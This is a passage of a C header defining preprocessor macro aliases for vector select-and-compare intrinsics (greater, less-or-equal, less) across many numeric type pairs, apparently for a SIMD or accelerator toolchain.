v_u8_u8_sel2_grt_v_s_v_v v_u8_u8_sel2_grt_v_v_v_v\n#define v_u8_u8_sel2_grt_v_v_v_s v_u8_u8_sel2_grt_v_v_v_v\n\n#define v_u8_u8_sel2_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel2_grt_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel2_grt_v_s_v_v_vb v_u8_u8_sel2_grt_v_v_v_v_vb\n#define v_u8_u8_sel2_grt_v_v_v_s_vb v_u8_u8_sel2_grt_v_v_v_v_vb\n\n// SEL2_LEQ\n\n// f32 - f32\n#define v_f32_f32_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel2_leq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_f32_sel2_leq_v_s_v_v_b v_f32_f32_sel2_leq_v_v_v_v_b\n#define v_f32_f32_sel2_leq_v_v_v_s_b v_f32_f32_sel2_leq_v_v_v_v_b\n#define v_f32_f32_sel2_leq_v_v_v_v(a, b, c, d) v_f32_f32_sel2_leq_v_v_v_v_b(a, b, c, d, (float64_pair_t){0}, 1, 0)\n#define v_f32_f32_sel2_leq_v_s_v_v v_f32_f32_sel2_leq_v_v_v_v\n#define v_f32_f32_sel2_leq_v_v_v_s v_f32_f32_sel2_leq_v_v_v_v\n\n#define v_f32_f32_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel2_leq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_f32_f32_sel2_leq_v_v_v_s_vb v_f32_f32_sel2_leq_v_v_v_v_vb\n#define v_f32_f32_sel2_leq_v_s_v_v_vb v_f32_f32_sel2_leq_v_v_v_v_vb\n\n// f32 - i32\n#define v_f32_i32_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel2_leq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_i32_sel2_leq_v_s_v_v_b v_f32_i32_sel2_leq_v_v_v_v_b\n#define v_f32_i32_sel2_leq_v_v_v_s_b v_f32_i32_sel2_leq_v_v_v_v_b\n#define v_f32_i32_sel2_leq_v_v_v_v(a, b, c, d) v_f32_i32_sel2_leq_v_v_v_v_b(a, b, c, d, (int64_float64_pair_t){0}, 1, 0)\n#define v_f32_i32_sel2_leq_v_s_v_v v_f32_i32_sel2_leq_v_v_v_v\n#define v_f32_i32_sel2_leq_v_v_v_s v_f32_i32_sel2_leq_v_v_v_v\n\n#define v_f32_i32_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel2_leq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_i32_sel2_leq_v_v_v_s_vb v_f32_i32_sel2_leq_v_v_v_v_vb\n#define v_f32_i32_sel2_leq_v_s_v_v_vb v_f32_i32_sel2_leq_v_v_v_v_vb\n\n// f32 - u32\n#define v_f32_u32_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel2_leq_f32_b(a, b, c, d, 0, i, p, o);\n#define v_f32_u32_sel2_leq_v_s_v_v_b v_f32_u32_sel2_leq_v_v_v_v_b\n#define v_f32_u32_sel2_leq_v_v_v_s_b v_f32_u32_sel2_leq_v_v_v_v_b\n#define v_f32_u32_sel2_leq_v_v_v_v(a, b, c, d) v_f32_u32_sel2_leq_v_v_v_v_b(a, b, c, d, (uint64_float64_pair_t){0}, 1, 0)\n#define v_f32_u32_sel2_leq_v_s_v_v v_f32_u32_sel2_leq_v_v_v_v\n#define v_f32_u32_sel2_leq_v_v_v_s v_f32_u32_sel2_leq_v_v_v_v\n\n#define v_f32_u32_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel2_leq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_f32_u32_sel2_leq_v_s_v_v_vb v_f32_u32_sel2_leq_v_v_v_v_vb\n#define v_f32_u32_sel2_leq_v_v_v_s_vb v_f32_u32_sel2_leq_v_v_v_v_vb\n\n// bf16 - bf16\n#define v_bf16_bf16_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel2_leq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_bf16_sel2_leq_v_s_v_v_b v_bf16_bf16_sel2_leq_v_v_v_v_b\n#define v_bf16_bf16_sel2_leq_v_v_v_s_b v_bf16_bf16_sel2_leq_v_v_v_v_b\n#define v_bf16_bf16_sel2_leq_v_v_v_v(a, b, c, d) v_bf16_bf16_sel2_leq_v_v_v_v_b(a, b, c, d, (bfloat128_bfloat128_pair_t){0}, 1, 0)\n#define v_bf16_bf16_sel2_leq_v_s_v_v v_bf16_bf16_sel2_leq_v_v_v_v\n#define v_bf16_bf16_sel2_leq_v_v_v_s v_bf16_bf16_sel2_leq_v_v_v_v\n\n#define v_bf16_bf16_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel2_leq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o);\n#define v_bf16_bf16_sel2_leq_v_s_v_v_vb v_bf16_bf16_sel2_leq_v_v_v_v_vb\n#define v_bf16_bf16_sel2_leq_v_v_v_s_vb v_bf16_bf16_sel2_leq_v_v_v_v_vb\n\n// bf16 - i16\n#define v_bf16_i16_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel2_leq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_i16_sel2_leq_v_s_v_v_b v_bf16_i16_sel2_leq_v_v_v_v_b\n#define v_bf16_i16_sel2_leq_v_v_v_s_b v_bf16_i16_sel2_leq_v_v_v_v_b\n#define v_bf16_i16_sel2_leq_v_v_v_v(a, b, c, d) v_bf16_i16_sel2_leq_v_v_v_v_b(a, b, c, d, (short128_bfloat128_pair_t){0}, 1, 0)\n#define v_bf16_i16_sel2_leq_v_s_v_v v_bf16_i16_sel2_leq_v_v_v_v\n#define v_bf16_i16_sel2_leq_v_v_v_s v_bf16_i16_sel2_leq_v_v_v_v\n\n#define v_bf16_i16_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel2_leq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o);\n#define v_bf16_i16_sel2_leq_v_s_v_v_vb v_bf16_i16_sel2_leq_v_v_v_v_vb\n#define v_bf16_i16_sel2_leq_v_v_v_s_vb v_bf16_i16_sel2_leq_v_v_v_v_vb\n\n// bf16 - u16\n#define v_bf16_u16_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel2_leq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_u16_sel2_leq_v_s_v_v_b v_bf16_u16_sel2_leq_v_v_v_v_b\n#define v_bf16_u16_sel2_leq_v_v_v_s_b v_bf16_u16_sel2_leq_v_v_v_v_b\n#define v_bf16_u16_sel2_leq_v_v_v_v(a, b, c, d) v_bf16_u16_sel2_leq_v_v_v_v_b(a, b, c, d, (ushort128_bfloat128_pair_t){0}, 1, 0)\n#define v_bf16_u16_sel2_leq_v_s_v_v v_bf16_u16_sel2_leq_v_v_v_v\n#define v_bf16_u16_sel2_leq_v_v_v_s v_bf16_u16_sel2_leq_v_v_v_v\n\n#define v_bf16_u16_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel2_leq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_u16_sel2_leq_v_s_v_v_vb v_bf16_u16_sel2_leq_v_v_v_v_vb\n#define v_bf16_u16_sel2_leq_v_v_v_s_vb v_bf16_u16_sel2_leq_v_v_v_v_vb\n\n// i32 - f32\n#define v_i32_f32_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel2_leq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_f32_sel2_leq_v_s_v_v_b v_i32_f32_sel2_leq_v_v_v_v_b\n#define v_i32_f32_sel2_leq_v_v_v_s_b v_i32_f32_sel2_leq_v_v_v_v_b\n#define v_i32_f32_sel2_leq_v_v_v_v(a, b, c, d) v_i32_f32_sel2_leq_v_v_v_v_b(a, b, c, d, (float64_int64_pair_t){0}, 1, 0)\n#define v_i32_f32_sel2_leq_v_s_v_v v_i32_f32_sel2_leq_v_v_v_v\n#define v_i32_f32_sel2_leq_v_v_v_s v_i32_f32_sel2_leq_v_v_v_v\n\n#define v_i32_f32_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel2_leq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_f32_sel2_leq_v_s_v_v_vb v_i32_f32_sel2_leq_v_v_v_v_vb\n#define v_i32_f32_sel2_leq_v_v_v_s_vb v_i32_f32_sel2_leq_v_v_v_v_vb\n\n// i32 - i32\n#define v_i32_i32_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel2_leq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_i32_sel2_leq_v_s_v_v_b v_i32_i32_sel2_leq_v_v_v_v_b\n#define v_i32_i32_sel2_leq_v_v_v_s_b v_i32_i32_sel2_leq_v_v_v_v_b\n#define v_i32_i32_sel2_leq_v_v_v_v(a, b, c, d) v_i32_i32_sel2_leq_v_v_v_v_b(a, b, c, d, (int64_pair_t){0}, 1, 0)\n#define v_i32_i32_sel2_leq_v_s_v_v v_i32_i32_sel2_leq_v_v_v_v\n#define v_i32_i32_sel2_leq_v_v_v_s v_i32_i32_sel2_leq_v_v_v_v\n\n#define v_i32_i32_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel2_leq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_i32_sel2_leq_v_s_v_v_vb v_i32_i32_sel2_leq_v_v_v_v_vb\n#define v_i32_i32_sel2_leq_v_v_v_s_vb v_i32_i32_sel2_leq_v_v_v_v_vb\n\n// i32 - u32\n#define v_i32_u32_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel2_leq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_u32_sel2_leq_v_s_v_v_b v_i32_u32_sel2_leq_v_v_v_v_b\n#define v_i32_u32_sel2_leq_v_v_v_s_b v_i32_u32_sel2_leq_v_v_v_v_b\n#define v_i32_u32_sel2_leq_v_v_v_v(a, b, c, d) v_i32_u32_sel2_leq_v_v_v_v_b(a, b, c, d, (uint64_int64_pair_t){0}, 1, 0)\n#define v_i32_u32_sel2_leq_v_s_v_v v_i32_u32_sel2_leq_v_v_v_v\n#define v_i32_u32_sel2_leq_v_v_v_s v_i32_u32_sel2_leq_v_v_v_v\n\n#define v_i32_u32_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel2_leq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_u32_sel2_leq_v_s_v_v_vb v_i32_u32_sel2_leq_v_v_v_v_vb\n#define v_i32_u32_sel2_leq_v_v_v_s_vb v_i32_u32_sel2_leq_v_v_v_v_vb\n\n// u32 - f32\n#define v_u32_f32_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel2_leq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_f32_sel2_leq_v_s_v_v_b v_u32_f32_sel2_leq_v_v_v_v_b\n#define v_u32_f32_sel2_leq_v_v_v_s_b v_u32_f32_sel2_leq_v_v_v_v_b\n#define v_u32_f32_sel2_leq_v_v_v_v(a, b, c, d) v_u32_f32_sel2_leq_v_v_v_v_b(a, b, c, d, (float64_uint64_pair_t){0}, 1, 0)\n#define v_u32_f32_sel2_leq_v_s_v_v v_u32_f32_sel2_leq_v_v_v_v\n#define v_u32_f32_sel2_leq_v_v_v_s v_u32_f32_sel2_leq_v_v_v_v\n\n#define v_u32_f32_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel2_leq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_u32_f32_sel2_leq_v_s_v_v_vb v_u32_f32_sel2_leq_v_v_v_v_vb\n#define v_u32_f32_sel2_leq_v_v_v_s_vb v_u32_f32_sel2_leq_v_v_v_v_vb\n\n// u32 - i32\n#define v_u32_i32_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel2_leq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_i32_sel2_leq_v_s_v_v_b v_u32_i32_sel2_leq_v_v_v_v_b\n#define v_u32_i32_sel2_leq_v_v_v_s_b v_u32_i32_sel2_leq_v_v_v_v_b\n#define v_u32_i32_sel2_leq_v_v_v_v(a, b, c, d) v_u32_i32_sel2_leq_v_v_v_v_b(a, b, c, d, (int64_uint64_pair_t){0}, 1, 0)\n#define v_u32_i32_sel2_leq_v_s_v_v v_u32_i32_sel2_leq_v_v_v_v\n#define v_u32_i32_sel2_leq_v_v_v_s v_u32_i32_sel2_leq_v_v_v_v\n\n#define v_u32_i32_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel2_leq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_i32_sel2_leq_v_s_v_v_vb v_u32_i32_sel2_leq_v_v_v_v_vb\n#define v_u32_i32_sel2_leq_v_v_v_s_vb v_u32_i32_sel2_leq_v_v_v_v_vb\n\n// u32 - u32\n#define v_u32_u32_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel2_leq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_u32_sel2_leq_v_s_v_v_b v_u32_u32_sel2_leq_v_v_v_v_b\n#define v_u32_u32_sel2_leq_v_v_v_s_b v_u32_u32_sel2_leq_v_v_v_v_b\n#define v_u32_u32_sel2_leq_v_v_v_v(a, b, c, d) v_u32_u32_sel2_leq_v_v_v_v_b(a, b, c, d, (uint64_pair_t){0}, 1, 0)\n#define v_u32_u32_sel2_leq_v_s_v_v v_u32_u32_sel2_leq_v_v_v_v\n#define v_u32_u32_sel2_leq_v_v_v_s v_u32_u32_sel2_leq_v_v_v_v\n\n#define v_u32_u32_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel2_leq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_u32_u32_sel2_leq_v_s_v_v_vb v_u32_u32_sel2_leq_v_v_v_v_vb\n#define v_u32_u32_sel2_leq_v_v_v_s_vb v_u32_u32_sel2_leq_v_v_v_v_vb\n\n// i16 - bf16\n#define v_i16_bf16_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel2_leq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_bf16_sel2_leq_v_s_v_v_b v_i16_bf16_sel2_leq_v_v_v_v_b\n#define v_i16_bf16_sel2_leq_v_v_v_s_b v_i16_bf16_sel2_leq_v_v_v_v_b\n#define v_i16_bf16_sel2_leq_v_v_v_v(a, b, c, d) v_i16_bf16_sel2_leq_v_v_v_v_b(a, b, c, d, (bfloat128_short128_pair_t){0}, 1, 0)\n#define v_i16_bf16_sel2_leq_v_s_v_v v_i16_bf16_sel2_leq_v_v_v_v\n#define v_i16_bf16_sel2_leq_v_v_v_s v_i16_bf16_sel2_leq_v_v_v_v\n\n#define v_i16_bf16_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel2_leq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_bf16_sel2_leq_v_s_v_v_vb v_i16_bf16_sel2_leq_v_v_v_v_vb\n#define v_i16_bf16_sel2_leq_v_v_v_s_vb v_i16_bf16_sel2_leq_v_v_v_v_vb\n\n// i16 - i16\n#define v_i16_i16_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel2_leq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_i16_sel2_leq_v_s_v_v_b v_i16_i16_sel2_leq_v_v_v_v_b\n#define v_i16_i16_sel2_leq_v_v_v_s_b v_i16_i16_sel2_leq_v_v_v_v_b\n#define v_i16_i16_sel2_leq_v_v_v_v(a, b, c, d) v_i16_i16_sel2_leq_v_v_v_v_b(a, b, c, d, (short128_pair_t){0}, 1, 0)\n#define v_i16_i16_sel2_leq_v_s_v_v v_i16_i16_sel2_leq_v_v_v_v\n#define v_i16_i16_sel2_leq_v_v_v_s v_i16_i16_sel2_leq_v_v_v_v\n\n#define v_i16_i16_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel2_leq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_i16_sel2_leq_v_s_v_v_vb v_i16_i16_sel2_leq_v_v_v_v_vb\n#define v_i16_i16_sel2_leq_v_v_v_s_vb v_i16_i16_sel2_leq_v_v_v_v_vb\n\n// i16 - u16\n#define v_i16_u16_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel2_leq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_u16_sel2_leq_v_s_v_v_b v_i16_u16_sel2_leq_v_v_v_v_b\n#define v_i16_u16_sel2_leq_v_v_v_s_b v_i16_u16_sel2_leq_v_v_v_v_b\n#define v_i16_u16_sel2_leq_v_v_v_v(a, b, c, d) v_i16_u16_sel2_leq_v_v_v_v_b(a, b, c, d, (ushort128_short128_pair_t){0}, 1, 0)\n#define v_i16_u16_sel2_leq_v_s_v_v v_i16_u16_sel2_leq_v_v_v_v\n#define v_i16_u16_sel2_leq_v_v_v_s v_i16_u16_sel2_leq_v_v_v_v\n\n#define v_i16_u16_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel2_leq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_u16_sel2_leq_v_s_v_v_vb v_i16_u16_sel2_leq_v_v_v_v_vb\n#define v_i16_u16_sel2_leq_v_v_v_s_vb v_i16_u16_sel2_leq_v_v_v_v_vb\n\n// u16 - bf16\n#define v_u16_bf16_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel2_leq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_bf16_sel2_leq_v_s_v_v_b v_u16_bf16_sel2_leq_v_v_v_v_b\n#define v_u16_bf16_sel2_leq_v_v_v_s_b v_u16_bf16_sel2_leq_v_v_v_v_b\n#define v_u16_bf16_sel2_leq_v_v_v_v(a, b, c, d) v_u16_bf16_sel2_leq_v_v_v_v_b(a, b, c, d, (bfloat128_ushort128_pair_t){0}, 1, 0)\n#define v_u16_bf16_sel2_leq_v_s_v_v v_u16_bf16_sel2_leq_v_v_v_v\n#define v_u16_bf16_sel2_leq_v_v_v_s v_u16_bf16_sel2_leq_v_v_v_v\n\n#define v_u16_bf16_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel2_leq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_bf16_sel2_leq_v_s_v_v_vb v_u16_bf16_sel2_leq_v_v_v_v_vb\n#define v_u16_bf16_sel2_leq_v_v_v_s_vb v_u16_bf16_sel2_leq_v_v_v_v_vb\n\n// u16 - i16\n#define v_u16_i16_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel2_leq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_i16_sel2_leq_v_s_v_v_b v_u16_i16_sel2_leq_v_v_v_v_b\n#define v_u16_i16_sel2_leq_v_v_v_s_b v_u16_i16_sel2_leq_v_v_v_v_b\n#define v_u16_i16_sel2_leq_v_v_v_v(a, b, c, d) v_u16_i16_sel2_leq_v_v_v_v_b(a, b, c, d, (short128_ushort128_pair_t){0}, 1, 0)\n#define v_u16_i16_sel2_leq_v_s_v_v v_u16_i16_sel2_leq_v_v_v_v\n#define v_u16_i16_sel2_leq_v_v_v_s v_u16_i16_sel2_leq_v_v_v_v\n\n#define v_u16_i16_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel2_leq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_i16_sel2_leq_v_s_v_v_vb v_u16_i16_sel2_leq_v_v_v_v_vb\n#define v_u16_i16_sel2_leq_v_v_v_s_vb v_u16_i16_sel2_leq_v_v_v_v_vb\n\n// u16 - u16\n#define v_u16_u16_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel2_leq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_u16_sel2_leq_v_s_v_v_b v_u16_u16_sel2_leq_v_v_v_v_b\n#define v_u16_u16_sel2_leq_v_v_v_s_b v_u16_u16_sel2_leq_v_v_v_v_b\n#define v_u16_u16_sel2_leq_v_v_v_v(a, b, c, d) v_u16_u16_sel2_leq_v_v_v_v_b(a, b, c, d, (ushort128_pair_t){0}, 1, 0)\n#define v_u16_u16_sel2_leq_v_s_v_v v_u16_u16_sel2_leq_v_v_v_v\n#define v_u16_u16_sel2_leq_v_v_v_s v_u16_u16_sel2_leq_v_v_v_v\n\n#define v_u16_u16_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel2_leq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_u16_sel2_leq_v_s_v_v_vb v_u16_u16_sel2_leq_v_v_v_v_vb\n#define v_u16_u16_sel2_leq_v_v_v_s_vb v_u16_u16_sel2_leq_v_v_v_v_vb\n\n// i8 - i8\n#define v_i8_i8_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel2_leq_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel2_leq_v_s_v_v_b v_i8_i8_sel2_leq_v_v_v_v_b\n#define v_i8_i8_sel2_leq_v_v_v_s_b v_i8_i8_sel2_leq_v_v_v_v_b\n#define v_i8_i8_sel2_leq_v_v_v_v(a, b, c, d) v_i8_i8_sel2_leq_v_v_v_v_b(a, b, c, d, (char256_pair_t){0}, 1, 0)\n#define v_i8_i8_sel2_leq_v_s_v_v v_i8_i8_sel2_leq_v_v_v_v\n#define v_i8_i8_sel2_leq_v_v_v_s v_i8_i8_sel2_leq_v_v_v_v\n\n#define v_i8_i8_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel2_leq_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel2_leq_v_s_v_v_vb v_i8_i8_sel2_leq_v_v_v_v_vb\n#define v_i8_i8_sel2_leq_v_v_v_s_vb v_i8_i8_sel2_leq_v_v_v_v_vb\n\n// i8 - u8\n#define v_i8_u8_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel2_leq_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel2_leq_v_s_v_v_b v_i8_u8_sel2_leq_v_v_v_v_b\n#define v_i8_u8_sel2_leq_v_v_v_s_b v_i8_u8_sel2_leq_v_v_v_v_b\n#define v_i8_u8_sel2_leq_v_v_v_v(a, b, c, d) v_i8_u8_sel2_leq_v_v_v_v_b(a, b, c, d, (uchar256_char256_pair_t){0}, 1, 0)\n#define v_i8_u8_sel2_leq_v_s_v_v v_i8_u8_sel2_leq_v_v_v_v\n#define v_i8_u8_sel2_leq_v_v_v_s v_i8_u8_sel2_leq_v_v_v_v\n\n#define v_i8_u8_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel2_leq_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel2_leq_v_s_v_v_vb v_i8_u8_sel2_leq_v_v_v_v_vb\n#define v_i8_u8_sel2_leq_v_v_v_s_vb v_i8_u8_sel2_leq_v_v_v_v_vb\n\n// u8 - i8\n#define v_u8_i8_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel2_leq_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel2_leq_v_s_v_v_b v_u8_i8_sel2_leq_v_v_v_v_b\n#define v_u8_i8_sel2_leq_v_v_v_s_b v_u8_i8_sel2_leq_v_v_v_v_b\n#define v_u8_i8_sel2_leq_v_v_v_v(a, b, c, d) v_u8_i8_sel2_leq_v_v_v_v_b(a, b, c, d, (char256_uchar256_pair_t){0}, 1, 0)\n#define v_u8_i8_sel2_leq_v_s_v_v v_u8_i8_sel2_leq_v_v_v_v\n#define v_u8_i8_sel2_leq_v_v_v_s v_u8_i8_sel2_leq_v_v_v_v\n\n#define v_u8_i8_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel2_leq_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel2_leq_v_s_v_v_vb v_u8_i8_sel2_leq_v_v_v_v_vb\n#define v_u8_i8_sel2_leq_v_v_v_s_vb v_u8_i8_sel2_leq_v_v_v_v_vb\n\n// u8 - u8\n#define v_u8_u8_sel2_leq_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel2_leq_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel2_leq_v_s_v_v_b v_u8_u8_sel2_leq_v_v_v_v_b\n#define v_u8_u8_sel2_leq_v_v_v_s_b v_u8_u8_sel2_leq_v_v_v_v_b\n#define v_u8_u8_sel2_leq_v_v_v_v(a, b, c, d) v_u8_u8_sel2_leq_v_v_v_v_b(a, b, c, d, (uchar256_pair_t){0}, 1, 0)\n#define v_u8_u8_sel2_leq_v_s_v_v v_u8_u8_sel2_leq_v_v_v_v\n#define v_u8_u8_sel2_leq_v_v_v_s v_u8_u8_sel2_leq_v_v_v_v\n\n#define v_u8_u8_sel2_leq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel2_leq_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel2_leq_v_s_v_v_vb v_u8_u8_sel2_leq_v_v_v_v_vb\n#define v_u8_u8_sel2_leq_v_v_v_s_vb v_u8_u8_sel2_leq_v_v_v_v_vb\n\n// SEL2_LESS\n\n// f32 - f32\n#define v_f32_f32_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel2_less_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_f32_sel2_less_v_s_v_v_b v_f32_f32_sel2_less_v_v_v_v_b\n#define v_f32_f32_sel2_less_v_v_v_s_b v_f32_f32_sel2_less_v_v_v_v_b\n#define v_f32_f32_sel2_less_v_v_v_v(a, b, c, d) v_f32_f32_sel2_less_v_v_v_v_b(a, b, c, d, (float64_pair_t){0}, 1, 0)\n#define v_f32_f32_sel2_less_v_s_v_v v_f32_f32_sel2_less_v_v_v_v\n#define v_f32_f32_sel2_less_v_v_v_s v_f32_f32_sel2_less_v_v_v_v\n\n#define v_f32_f32_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel2_less_f32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_f32_f32_sel2_less_v_v_v_s_vb v_f32_f32_sel2_less_v_v_v_v_vb\n#define v_f32_f32_sel2_less_v_s_v_v_vb v_f32_f32_sel2_less_v_v_v_v_vb\n\n// f32 - i32\n#define v_f32_i32_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel2_less_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_i32_sel2_less_v_s_v_v_b v_f32_i32_sel2_less_v_v_v_v_b\n#define v_f32_i32_sel2_less_v_v_v_s_b v_f32_i32_sel2_less_v_v_v_v_b\n#define v_f32_i32_sel2_less_v_v_v_v(a, b, c, d) v_f32_i32_sel2_less_v_v_v_v_b(a, b, c, d, (int64_float64_pair_t){0}, 1, 0)\n#define v_f32_i32_sel2_less_v_s_v_v v_f32_i32_sel2_less_v_v_v_v\n#define v_f32_i32_sel2_less_v_v_v_s v_f32_i32_sel2_less_v_v_v_v\n\n#define v_f32_i32_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel2_less_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_i32_sel2_less_v_v_v_s_vb v_f32_i32_sel2_less_v_v_v_v_vb\n#define v_f32_i32_sel2_less_v_s_v_v_vb v_f32_i32_sel2_less_v_v_v_v_vb\n\n// f32 - u32\n#define v_f32_u32_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel2_less_f32_b(a, b, c, d, 0, i, p, o);\n#define v_f32_u32_sel2_less_v_s_v_v_b v_f32_u32_sel2_less_v_v_v_v_b\n#define v_f32_u32_sel2_less_v_v_v_s_b v_f32_u32_sel2_less_v_v_v_v_b\n#define v_f32_u32_sel2_less_v_v_v_v(a, b, c, d) v_f32_u32_sel2_less_v_v_v_v_b(a, b, c, d, (uint64_float64_pair_t){0}, 1, 0)\n#define v_f32_u32_sel2_less_v_s_v_v v_f32_u32_sel2_less_v_v_v_v\n#define v_f32_u32_sel2_less_v_v_v_s v_f32_u32_sel2_less_v_v_v_v\n\n#define v_f32_u32_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel2_less_f32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_f32_u32_sel2_less_v_s_v_v_vb v_f32_u32_sel2_less_v_v_v_v_vb\n#define v_f32_u32_sel2_less_v_v_v_s_vb v_f32_u32_sel2_less_v_v_v_v_vb\n\n// bf16 - bf16\n#define v_bf16_bf16_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel2_less_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_bf16_sel2_less_v_s_v_v_b v_bf16_bf16_sel2_less_v_v_v_v_b\n#define v_bf16_bf16_sel2_less_v_v_v_s_b v_bf16_bf16_sel2_less_v_v_v_v_b\n#define v_bf16_bf16_sel2_less_v_v_v_v(a, b, c, d) v_bf16_bf16_sel2_less_v_v_v_v_b(a, b, c, d, (bfloat128_bfloat128_pair_t){0}, 1, 0)\n#define v_bf16_bf16_sel2_less_v_s_v_v 